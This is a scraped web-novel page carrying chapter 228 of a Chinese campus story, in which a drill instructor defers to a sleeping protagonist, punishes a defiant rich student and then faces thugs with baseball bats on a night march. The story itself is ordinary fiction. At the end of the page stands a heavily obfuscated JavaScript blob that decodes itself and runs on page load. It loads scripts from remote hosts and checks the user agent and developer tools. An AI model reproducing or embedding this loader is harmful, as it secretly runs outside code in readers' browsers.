首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第228章 校外小混混堵路!

    第228章校外小混混堵路!(第1/2页)
    黑狼咬着牙,视线从苏长青身上硬生生扯开,扫向前排。
    他刚准备开口继续训话,队伍里传来一个小声的嘀咕。
    “教官,那个人在睡觉,你不管吗?”
    声音从第二排靠左的位置传来,一个染着黄毛、戴着名牌耳钉的男生正歪着脑袋朝后面努嘴,表情里写满了幸灾乐祸。
    周围几个新生偷偷扭头看了一眼苏长青,又飞快转回去,憋着笑。
    黑狼的脸瞬间黑了。
    他转过头,一双铜铃大的眼珠子直剜向那个黄毛,嘴角抽了一下,声音里全是压制后的怒气。
    “闭嘴!我没长眼睛吗!”
    黄毛被这一嗓子震得往后缩了半步,嘴巴张了张,硬是没敢再吭声。
    他旁边的同学赶紧跟他拉开半步距离,生怕被牵连。
    黑狼深吸一口气。
    不行,不能装没看见。一百多号人都盯着,如果当众无视一个睡觉的新生,他这个教官以后还怎么带队?
    可要是真上去把人叫醒……
    叶承辉那张笑眯的脸浮现在他脑子里,嘴上说着“大哥拜托你了”,手里比划的却是军中处分的手势。
    黑狼咽了口唾沫,迈开步子往第三排走。
    每一步都沉重得像踩在地雷上。
    他穿过前两排的学生,那些新生纷纷侧身让路,用看疯子一样的眼神看着他。
    走到苏长青面前,黑狼站定了。
    军帽盖在那张脸上,呼吸平稳得像在自家床上午睡。整个人的重心微靠在后面一个瘦高男生身上,那男生表情痛苦,又不敢动。
    黑狼的小腿肚子在裤管里抖了两下。
    他在边境对峙过持枪毒贩,在雪山上跟狼群周旋过三天三夜,从来没有任何一个时刻像现在这样紧张。
    队伍安静得能听见蝉鸣。
    一百多双眼睛全盯着他。
    黑狼脖子上的青筋跳了跳,脑子里飞速转动,最终做出了一个他军旅生涯中最违心的决定。
    他猛地转身面向全班,扯开嗓子喊道:“大家看这位同学!”
    所有人一愣。
    “虽然他闭着眼睛,但他的站姿,蕴含着一种极高的战术素养!”
    黑狼说这话的时候,脸上的肌肉在轻微抽搐,但声音洪亮,中气十足。
    前排几个女生面相觑。
    “这叫龟息站立!”黑狼背着手,来回踱步,一副教学示范的架势。
    “是在极端疲劳条件下快速恢复体力的顶级特种兵技能!”
    他停下脚步,扫了全班一眼。
    “没有经过长期高强度训练的人,根本做不到在站立状态下进入深度休眠!大家要向他学习!”
    操场上安静了三秒。
    然后,第一排一个戴眼镜的男生小声问旁边的人:“龟息站立?这是什么技能?我怎么从来没听说过?”
    旁边的人摇头:“搜看。”
    “别搜了,”另一个男生压着嗓子说。
    “那就是睡着了,教官在扯淡。”
    “嘘!你找死啊!”
    窸窸窣窣的讨论声在队伍里蔓延,所有人的表情都写着同一个字——懵。
    刚才告状的黄毛更是瞪圆了眼,嘴角抽搐,一脸“你他妈在逗我”的表情。
    黑狼充耳不闻,继续面不改色地吹嘘着这项他五分钟前刚编出来的“技能”。
    “这种技术在我们特种兵部队内部也只有少数精英能掌握,你们能亲眼见到实战演示,是你们的福气!”
    话音刚落,他身后传来一个细微的动静。
    苏长青被这几嗓子嚷得没法继续睡了。
    他抬起手,慢吞吞地把军帽从脸上推去,露出一张带着起床气的脸。眼睛半睁,被阳光刺得微眯起,打了个哈欠。
    视线扫到面前一米外杵着的黑色铁塔,愣了一下。
    然后皱起眉头。
    那个眼神很淡,像是看到一只吵闹的蝉。
    黑狼全身的汗毛竖了起来。
    那双眼睛里没有愤怒,没有威压,什么都没有。但就是这种什么都没有的平静,让黑狼后脊梁发凉。
    他在叶家大院里见过这双眼睛。
    叶家老太爷九十大寿那天,苏长青坐在最角落的位置喝茶,所有叶家直系子弟包括叶家老太爷本人,路过他身边时都会微欠身。
    那个画面刻在黑狼脑子里,一辈子忘不掉。
    “啪!”
    黑狼双脚并拢,立正,右手抬起敬了一个标准的军礼。
    他的声音在发颤,但姿态笔直:“报告!请您继续休息!我不打扰了!”
    苏长青看了他两秒,没说话,把帽子重新拉下来盖住眼睛,换了个方向靠回去。
    黑狼维持着敬礼的姿势僵了一秒,然后放下手,转身大步流星地走回队伍前方,步伐频率明显比来时快了一倍。
    全班一百多个新生,集体石化。
    “他……刚才是不是给那个睡觉的同学敬礼了?”
    “我没眼花吧?”
    “龟息站立个屁,那教官明显怕他啊!”
    “什么来头?”
    议论声像开了锅一样,黄毛男生嘴巴大张着合不拢,眼珠子在黑狼和苏长青之间来回转。
    黑狼站回原位,面对乱成一锅粥的队伍,额角青筋直跳。
    “都给我闭嘴!立正!再BB一句加练五公里!”
    队伍立刻安静下来,但所有人看苏长青的眼神都变了。
    与此同时,隔壁方阵。
    苏念穿着肥大的迷彩服,正跟着教官的口令做动作。
    她的手机架在背包上,镜头对着操场方向,直播间右上角的观看人数一直在跳动。
    她余光瞥见一连那边的骚动,扭头一看,正好看见黑狼一米九的大个子对着她哥立正敬礼。
    苏念咬住嘴唇,肩膀在发抖,脸涨得通红。
    “噗——”
    她没忍住,笑出了声。
    旁边的女生奇怪地看了她一眼,苏念赶紧假装咳嗽,趁教官没注意的间隙,飞快侧过身对着手机镜头比了个口型。
    “看见没!我哥!军训都有人伺候!”
    苏念来不及看弹幕,隔壁教官的哨声响了,她赶紧收回视线,跟着队列继续踢正步。
    嘴角的笑意压都压不住。
    一连这边,黑狼用五公里的威胁镇住了场面,没人再敢议论。
    但所有人偷瞄苏长青的频率明显上升了。
    那个靠着树干睡觉的身影,军帽扣在脸上,一动不动,活像是来军训场度假的。
    十分钟后,太阳爬到了正头顶。
    九月的南京,地面温度逼近四十度。
    操场上没有一丝风,空气都在冒热气。新生们的迷彩服全湿透了,一个个脸色发白,嘴唇干裂,站得摇摇晃晃。
    苏长青还在树荫下。
    这不是他主动要求的。黑狼在训话结束后,以“特殊观摩员”的名义把他安排到了操场边唯一一棵梧桐树下,还让人搬了把马扎过去。
    苏长青没坐马扎,直接往树根一靠,帽子盖脸,继续补觉。
    四十六亿年了,他什么天气没经历过。
    但能躺着绝不坐着,这是原则。
    队列里,刘峰的脸已经晒得通红。
    他就是之前那个黄毛,南京本地刘家的少爷,老爹是搞房地产的。
    虽然算不上什么大家族,但在这片三本院校里,五十万的捐款足够让他横着走。
    从小到大,刘峰都是被人捧着的。
    军训第一天,他就找教官要了顶遮阳帽,被黑狼一巴掌扇掉了。当时他想发作,被身边的跟班拉住了。
    “峰哥,忍,就十五天。”
    他忍了。
    但现在,他忍不了。
    汗顺着额头往眼睛里淌,迷彩服贴在身上像裹了层塑料膜。
    他往左边瞥了一眼,苏长青的树荫下,连地面的颜色都比这边深几度。
    凭什么?
    一个跟他一样是新生的人,凭什么能躺在那儿?
    就因为教官怕他?
    刘峰心里那股火一下子窜上来了。
    他一屁股坐在了地上。
    “唰——”
    旁边几个新生吓了一跳,纷纷侧目。
    黑狼正背对着队伍喝水,听到动静回头,眉毛拧成了一团。
    “谁让你坐下的?”
    刘峰仰着脸,汗珠子往下滴,声音很冲:“教官,我问你个事儿。”
    黑狼没说话,水壶盖拧上,慢悠悠走过来。
    刘峰伸手往苏长青的方向一指:“凭什么他能在树荫下睡觉,我们一百多号人在这儿晒太阳?我不服。”
    这话说完,队伍里安静了一瞬,然后响起一片压得很低的附和声。
    “确实……也太不公平了吧……”
    “就是啊,凭什么……”
    黑狼的步子顿了一下。
    他正愁没地方发泄。
    刚才在苏长青面前丢的那个脸,像根刺一样扎在他心里,拔不出来。他黑狼在部队里什么级别?营级!带过的兵上千号!结果在一群大一新生面前跟个孙子似的立正敬礼,那几秒钟简直是他职业生涯最大的耻辱。
    虽然那确实是应该的。
    但他憋屈。
    现在,这个黄毛小子主动跳出来了。
    黑狼的眼神变了。
    那种变化很微妙,像猎犬锁定了猎物,嘴角的弧度往上提了提。
    “不服?”
    他的声音不高,但操场上所有人都听得清楚楚。
    (本章未完,请点击下一页继续阅读)第228章校外小混混堵路!(第2/2页)
    “在军队里,服从是天职。站起来。”
    刘峰没动。
    他歪着头,眯起眼睛看着黑狼,嘴角挂着一丝很欠揍的笑:“教官,我就问你一句话,你回答我。他凭什么搞特殊?”
    黑狼低头看着地上的刘峰,那个角度能清楚地看到这小子脖子上挂着的金链子,少说二两重。还有那双限量版球鞋,鞋底都没沾灰。
    “我说,站起来。”
    “我不。”
    刘峰摊了摊手,一副有恃无恐的样子,声音故意提高了几分:“我爸给学校捐了五十万,你敢动我?信不信我一个电话,让你脱下这身皮?”
    队伍里的窃私语一下子没了。
    所有人都在看黑狼的反应。
    五十万,对普通人来说确实是个大数字。而且这话说得够狠,直接威胁教官的饭碗。
    有几个跟刘峰认识的男生互相使了个眼色,脸上带着看好戏的表情。
    黑狼站在那里,一动没动。
    三秒。
    五秒。
    然后他笑了。
    那个笑容露出了一口白牙,在黝黑的脸上格外扎眼。
    “五十万?”
    他蹲了下来,和刘峰平视。
    “你就是捐了五千万,今天也得给我趴下。”
    刘峰的笑容凝固了。
    他还没来得及反应,黑狼已经站了起来。一只脚抬起,精准地踹在刘峰的小腿胫骨上。
    “啊——!”
    刘峰惨叫一声,双膝直接砸在了地上。
    操场的水泥地被太阳烤了一上午,滚烫。
    刘峰的膝盖一着地就是一阵火辣辣的痛,他龇牙咧嘴想站起来,黑狼的手已经按在了他的肩膀上。
    “别急。”
    黑狼的语气和刚才判若两人,温和得像是在跟老朋友聊天。
    “你不是不服吗?行。绕操场跑十圈。”
    刘峰瞪大了眼睛:“你……”
    “跑不完今天没饭吃。”黑狼把他从地上拎了起来,往操场方向一推。
    “现在就开始。”
    刘峰踉跄了两步,回头看黑狼的表情。
    那张黑脸上的笑意已经完全消失了,剩下的只有一种很纯粹的冷漠。
    那是真正当过兵的人才有的东西,不含任何私人情绪,只有规矩。
    “跑。”
    一个字。
    刘峰的嘴唇哆嗦了两下,最终没再说出第二句威胁的话。
    他捂着膝盖,一瘸一拐地往跑道方向走去。
    全班一百多个新生站直了。
    没人再敢乱动。
    黑狼扫了一圈队伍,嗓门拉到最高:“看什么看!继续站军姿!谁再给我废话,跟他一起跑!”
    队列恢复了安静。
    但恐惧之下,还有一种奇妙的情绪在蔓延。
    几个男生偷偷往树荫那边瞄了一眼,苏长青依然一动不动地靠在树根下,帽子盖着脸,呼吸平稳。
    对比鲜明到令人窒息。
    教官连踹带骂,刘峰磕头下跪,全班噤若寒蝉。
    而他,连动都没动一下。
    跑道上,刘峰跑完第二圈就开始喘得像拉风箱。他一边跑一边用袖子擦汗,目光不断地飘向两个方向。
    一个是黑狼。
    一个是树荫下的苏长青。
    额角的青筋一跳一跳的,不全是因为体力透支。
    跑到第四圈的时候,刘峰的速度已经降到了快走。他的脑子里只剩下一个念头,翻来覆去地转。
    姓苏的,和这个狗教官,他都记住了。
    等军训结束,有他们好看的。
    他爸在南京认识的人多了去。
    第五圈,他差点摔倒,扶着膝盖停了几秒。抬头正好对上树荫下那个纹丝不动的身影。
    军帽遮住了脸,看不见表情。
    刘峰的牙咬得咯吱作响,继续迈步。
    操场另一边,苏念的镜头悄悄转了个角度,把刘峰跑圈的背影收进了画面。
    弹幕飞速滚动。
    “哈哈这富二代也太惨了吧!”
    “教官:你爸再有钱也得跪。”
    “注意看树荫下那个男人,他连眼皮都没抬。”
    “格局,这就是格局啊姐妹们!”
    苏念用余光扫了眼弹幕,嘴角翘了翘,手指飞快地在屏幕边缘打了行字——
    “这才哪到哪,我哥还没发力呢。”
    刘峰跑到第八圈的时候,右腿抽筋了。他单膝着地,额头上的汗混着操场上的灰,糊了满脸。
    黑狼站在起点,双臂抱胸,面无表情地看着他。
    “还剩两圈。”
    刘峰抬起头,眼眶发红,盯着黑狼的脸,一字一字从牙缝里挤出来:“你等着。”
    黑狼笑了笑,没接话,只是伸出两根手指,在空中晃了晃。
    两圈。
    刘峰撑着地面爬起来,继续跑。每一步落地,膝盖那片被水泥地烫红的皮肤都在抗议。
    他眼角的余光第最后一次扫过那棵梧桐树。
    树荫下的人翻了个身,换了个更舒服的姿势,手臂垫在脑袋下面,军帽歪到一边,露出半张侧脸。
    闭着眼,嘴角微上扬。
    像是做了个好梦。
    军训第四天,晚上九点半。
    全班在操场集合,黑狼站在队伍前面,手里攥着一根荧光棒,脸上的表情比白天还冷三分。
    “十公里野外拉练,路线经过后山。掉队的自己爬回来,我不收尸。”
    队伍里一阵骚动。几个女生互相拽着胳膊,脸色发白。
    苏长青站在最后一排,军帽压得很低,嘴里叼着根狗尾巴草,眼皮耷拉着,整个人散发出一种“别叫我”的气场。
    苏念举着手机,镜头对准她哥,压低声音跟弹幕说:“各位姐妹,夜间拉练,我哥刚才问我能不能请假,被拒了,现在这表情,你们自己看。”
    弹幕飘过几条。
    “哈他是不是想原地躺下?”
    “睡神要渡劫了。”
    队伍出发。
    路线从操场出去,绕过教学楼群,穿过一段柏油路,最后拐进后山那片没路灯的荒地。
    前半程还好,有路灯,队伍整齐齐。一进后山,视野骤暗,只剩黑狼手里那根荧光棒在前面晃。
    脚下是碎石土路,两边是齐腰高的杂草,虫鸣声此起彼伏。
    刘峰走在队伍中间偏后的位置,低着头,嘴角勾了一下。
    他的手机在裤兜里震了一下,是条微信。
    “狼哥,到位了,就在前面三百米拐弯处。”
    刘峰没回,锁屏,把手机塞回去。额角那块几天前磕破的伤疤还没好全,在夜色里显得格外扎眼。
    他舔了下嘴唇,继续低头走路。
    队伍走到后山深处,两边的草越来越高,几乎没过了腰。黑狼的步子突然慢了。
    他停下来。
    整条队伍跟着停了。
    “都别动。”黑狼的声音压得很低,但每个字都清清楚楚。
    一百多号人安静下来,只有风吹草动的沙沙声。
    三秒。五秒。
    黑狼的眼睛死盯着右侧草丛里的一个点。那里面有东西在动,不是风。
    “全体后退,女生往中间靠。”
    话音没落,右边草丛里哗啦一声响,紧接着左边也是。
    十几个人影从两侧的黑暗里钻了出来。
    手里全是棒球棍,几根还缠了胶带。为首的是个光头,脖子上挂着根金链子,嘴里叼着烟,走到路中间拦住了去路。
    光头吐掉烟头,用脚碾了一下,抬起下巴吹了个口哨。
    “哪位是黑狼教官?听说你很狂啊,兄弟们今天来教你规矩。”
    他掂量着手里那根棍子,笑着扫了一圈学生队伍。
    女生堆里爆出几声尖叫。
    前排几个男生本能地往后缩了半步,有人腿已经在抖。
    刘峰缩在人群里,脑袋埋得低的,肩膀一抖一抖。
    黑狼没动。
    他扫了一眼对面这帮人,数了数,十三个。年纪最大的不超过二十五,手臂上有纹身,但肌肉线条松垮。混社会的,不是练过的。
    “学生们退后三十步。”黑狼头也没回,声音平得像在报天气。
    他把身上的迷彩外套脱了,叠了两下,扔给旁边一个男生。里面是件黑色紧身背心,两条胳膊上的肌肉在月光下绷得很紧。
    他活动了一下脖子,左右各响了一声脆响。
    “就凭你们几个烂番薯臭鸟蛋?”
    光头的笑容僵了一瞬,随即更大声地笑起来:“哟,还真狂。兄弟们,上。”
    棒球棍举起来了,十几双脚同时踏前。
    黑狼沉下重心,拳头攥紧。
    就在这个节点,队伍最后面传来一个极其不合时宜的声音。
    一个哈欠。
    很长,很响,带着一种从灵魂深处释放出来的倦意。
    所有人的目光都被吸了过去。
    苏长青从队尾慢悠悠地走出来,一边走一边揉眼睛,军帽歪到后脑勺,那根狗尾巴草还叼在嘴角。
    他从人群缝隙里挤过来,经过黑狼身边的时候拍了拍他的肩膀,走到队伍最前面。
    面对十三根棒球棍,十三个纹身混,和一个笑容正在凝固的光头。
    苏长青把嘴里的草拔下来,扔到地上,用一种检查冰箱里剩菜的眼神扫了对面一圈。
    “赶紧打完回去睡觉,我困了。”

一秒记住【882小说网】
882xsw.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();